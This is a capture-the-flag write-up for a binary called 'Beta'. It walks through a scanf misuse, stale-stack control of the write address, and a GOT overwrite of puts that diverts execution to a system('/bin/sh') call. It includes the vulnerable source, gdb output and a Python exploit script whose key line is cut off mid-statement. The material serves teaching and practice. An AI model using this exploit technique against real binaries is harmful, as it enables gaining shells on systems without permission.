====== Final CTF: Beta task writeup ======
#include
#include
void cadet_login()
{
char buf[100];
dprintf(2, "Hello cadet! Tell us your name\n");
fgets(buf, 100, stdin);
}
void task() {
unsigned long pass;
unsigned long user;
setbuf(stdout, NULL);
int fd = open("/dev/urandom", O_RDONLY);
if (fd==-1)
exit(-1);
if (read(fd, &pass, 4) != 4)
exit(-1);
close(fd);
scanf("%lu", user);
if (user == pass) {
printf("Congratulations. You deserve a shell\n");
system("/bin/sh");
} else {
printf("Keep Trying!\n");
exit(0);
}
}
int main(){
cadet_login();
task();
return 0;
}
The vulnerability here is the following line:
scanf("%lu", user);
The second argument for scanf should be an address and instead it is an unsigned integer. If we could control the value of ''user'' before this scanf then we would have an arbitrary write (which always turns out to be useful somehow). How do we control it?
Since it's a stack variable think about what happens:
* a stack frame is allocated for main which first calls cadet login
* cadet login allocates another stack frame and reads (at most) 100 bytes.
* cadet login releases that stack frame and returns into main
* main calls task which allocates another stack frame (recycling the space used by cadet login)
This means that the ''user'' variable should take up a value from our name input in cadet login. We'll use a cyclic pattern to pinpoint the exact location:
gdb-peda$ pdis task
Dump of assembler code for function task:
0x080486c7 <+0>: push ebp
0x080486c8 <+1>: mov ebp,esp
0x080486ca <+3>: sub esp,0x28
0x080486cd <+6>: mov eax,ds:0x804a080
0x080486d2 <+11>: mov DWORD PTR [esp+0x4],0x0
0x080486da <+19>: mov DWORD PTR [esp],eax
0x080486dd <+22>: call 0x80484d0
0x080486e2 <+27>: mov DWORD PTR [esp+0x4],0x0
0x080486ea <+35>: mov DWORD PTR [esp],0x8048860
0x080486f1 <+42>: call 0x8048550
0x080486f6 <+47>: mov DWORD PTR [ebp-0xc],eax
0x080486f9 <+50>: cmp DWORD PTR [ebp-0xc],0xffffffff
0x080486fd <+54>: jne 0x804870b
0x080486ff <+56>: mov DWORD PTR [esp],0xffffffff
0x08048706 <+63>: call 0x8048540
0x0804870b <+68>: mov DWORD PTR [esp+0x8],0x4
0x08048713 <+76>: lea eax,[ebp-0x14]
0x08048716 <+79>: mov DWORD PTR [esp+0x4],eax
0x0804871a <+83>: mov eax,DWORD PTR [ebp-0xc]
0x0804871d <+86>: mov DWORD PTR [esp],eax
0x08048720 <+89>: call 0x80484e0
0x08048725 <+94>: cmp eax,0x4
0x08048728 <+97>: je 0x8048736
0x0804872a <+99>: mov DWORD PTR [esp],0xffffffff
0x08048731 <+106>: call 0x8048540
0x08048736 <+111>: mov eax,DWORD PTR [ebp-0xc]
0x08048739 <+114>: mov DWORD PTR [esp],eax
0x0804873c <+117>: call 0x8048580
0x08048741 <+122>: mov eax,DWORD PTR [ebp-0x10]
0x08048744 <+125>: mov DWORD PTR [esp+0x4],eax
0x08048748 <+129>: mov DWORD PTR [esp],0x804886d
0x0804874f <+136>: call 0x8048570 <__isoc99_scanf@plt>
0x08048754 <+141>: mov eax,DWORD PTR [ebp-0x14]
0x08048757 <+144>: cmp DWORD PTR [ebp-0x10],eax
0x0804875a <+147>: jne 0x8048776
0x0804875c <+149>: mov DWORD PTR [esp],0x8048874
0x08048763 <+156>: call 0x8048510
0x08048768 <+161>: mov DWORD PTR [esp],0x8048899
0x0804876f <+168>: call 0x8048520
0x08048774 <+173>: jmp 0x804878e
0x08048776 <+175>: mov DWORD PTR [esp],0x80488a1
0x0804877d <+182>: call 0x8048510
0x08048782 <+187>: mov DWORD PTR [esp],0x0
0x08048789 <+194>: call 0x8048540
0x0804878e <+199>: leave
0x0804878f <+200>: ret
End of assembler dump.
gdb-peda$ b *0x0804874f
Breakpoint 1 at 0x804874f
gdb-peda$ pattc 99
'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAA'
gdb-peda$ run
Hello cadet! Tell us your name
AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAA
[----------------------------------registers-----------------------------------]
EAX: 0x41416b41 ('AkAA')
EBX: 0xf7f8d000 --> 0x195da8
ECX: 0xffffcbf4 --> 0x75933312
EDX: 0xf7f8d000 --> 0x195da8
ESI: 0x0
EDI: 0x0
EBP: 0xffffcc08 --> 0xffffcc18 --> 0x0
ESP: 0xffffcbe0 --> 0x804886d --> 0x756c25 ('%lu')
EIP: 0x804874f (: call 0x8048570 <__isoc99_scanf@plt>)
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048736 : mov eax,DWORD PTR [ebp-0xc]
0x8048739 : mov DWORD PTR [esp],eax
0x804873c : call 0x8048580
0x8048741 : mov eax,DWORD PTR [ebp-0x10]
0x8048744 : mov DWORD PTR [esp+0x4],eax
0x8048748 : mov DWORD PTR [esp],0x804886d
=> 0x804874f : call 0x8048570 <__isoc99_scanf@plt>
0x8048754 : mov eax,DWORD PTR [ebp-0x14]
0x8048757 : cmp DWORD PTR [ebp-0x10],eax
0x804875a : jne 0x8048776
0x804875c : mov DWORD PTR [esp],0x8048874
0x8048763 : call 0x8048510
0x8048768 : mov DWORD PTR [esp],0x8048899
0x804876f : call 0x8048520
Guessed arguments:
arg[0]: 0x804886d --> 0x756c25 ('%lu')
arg[1]: 0x41416b41 ('AkAA')
[------------------------------------stack-------------------------------------]
0000| 0xffffcbe0 --> 0x804886d --> 0x756c25 ('%lu')
0004| 0xffffcbe4 ("AkAA\004")
0008| 0xffffcbe8 --> 0x4
0012| 0xffffcbec ("AJAAjAA9\022\063\223uAkAA\003")
0016| 0xffffcbf0 ("jAA9\022\063\223uAkAA\003")
0020| 0xffffcbf4 --> 0x75933312
0024| 0xffffcbf8 ("AkAA\003")
0028| 0xffffcbfc --> 0x3
0032| 0xffffcc00 --> 0xf7f8d3c4 --> 0xf7f8e1e0 --> 0x0
0036| 0xffffcc04 --> 0xf7ffcfcc --> 0x20f0c
0040| 0xffffcc08 --> 0xffffcc18 --> 0x0
0044| 0xffffcc0c --> 0x80487a0 (: mov eax,0x0)
0048| 0xffffcc10 --> 0x80487b0 (<__libc_csu_init>: push ebp)
0052| 0xffffcc14 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0804874f in task ()
gdb-peda$ patto AkAA
AkAA found at offset: 92
Ok, theory confirmed. We have an arbitrary absolute write (write anything anywhere).
Now let's get back to what we actually want to do: capture the flag! We could do this by hijacking code flow to the system branch of the comparison:
* we can't overwrite the return address because if we get the answer wrong the code calls exit(0)
* in theory it would be possible to overwrite the contents of the ''pass'' variable to have the same contents as ''user'' however remember that we have an __absolute__ write instead of a relative one. This means that we would need to know the stack address (which we don't because of ASLR).
* what we do know however is that the binary is not Position Independent: it's always loaded at 0x08048000. Furthermore, library functions are resolved lazily:
gdb-peda$ checksec beta
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
This means that the GOT entries must remain writable throughout the lifetime of the binary. In that case, we only need to check what library functions are called after our absolute write:
scanf("%lu", user);
if (user == pass) {
printf("Congratulations. You deserve a shell\n");
system("/bin/sh");
} else {
printf("Keep Trying!\n");
exit(0);
}
printf and exit seem like good candidates. Let's try printf (which gets compiled to the puts function instead).
gdb-peda$ pdis 0x08048510
Dump of assembler code from 0x8048510 to 0x8048530:
0x08048510 : jmp DWORD PTR ds:0x804a01c
0x08048516 : push 0x20
0x0804851b : jmp 0x80484c0
End of assembler dump.
gdb-peda$ xinfo 0x804a01c
0x804a01c --> 0x8048516 (: push 0x20)
Virtual memory mapping:
Start : 0x0804a000
End : 0x0804b000
Offset: 0x1c
Perm : rw-p
As expected, the GOT entry is writable. In it we want to write the address of the true branch:
0x08048757 <+144>: cmp DWORD PTR [ebp-0x10],eax
0x0804875a <+147>: jne 0x8048776
0x0804875c <+149>: mov DWORD PTR [esp],0x8048874
0x08048763 <+156>: call 0x8048510
0x08048768 <+161>: mov DWORD PTR [esp],0x8048899
0x0804876f <+168>: call 0x8048520
The final exploit is as follows:
import struct, sys
puts_got = 0x804a01c
target = 0x08048768
offset = 92
payload = "A" * offset
payload += struct.pack("
An alternative solution (as mentioned in the hint) is to overwrite the exit GOT entry. They both work:
root@dmns:x86_64 [beta] # cat <(python solution.py) - | ./beta
Hello cadet! Tell us your name
ls
beta beta.c peda-session-beta.txt solution.py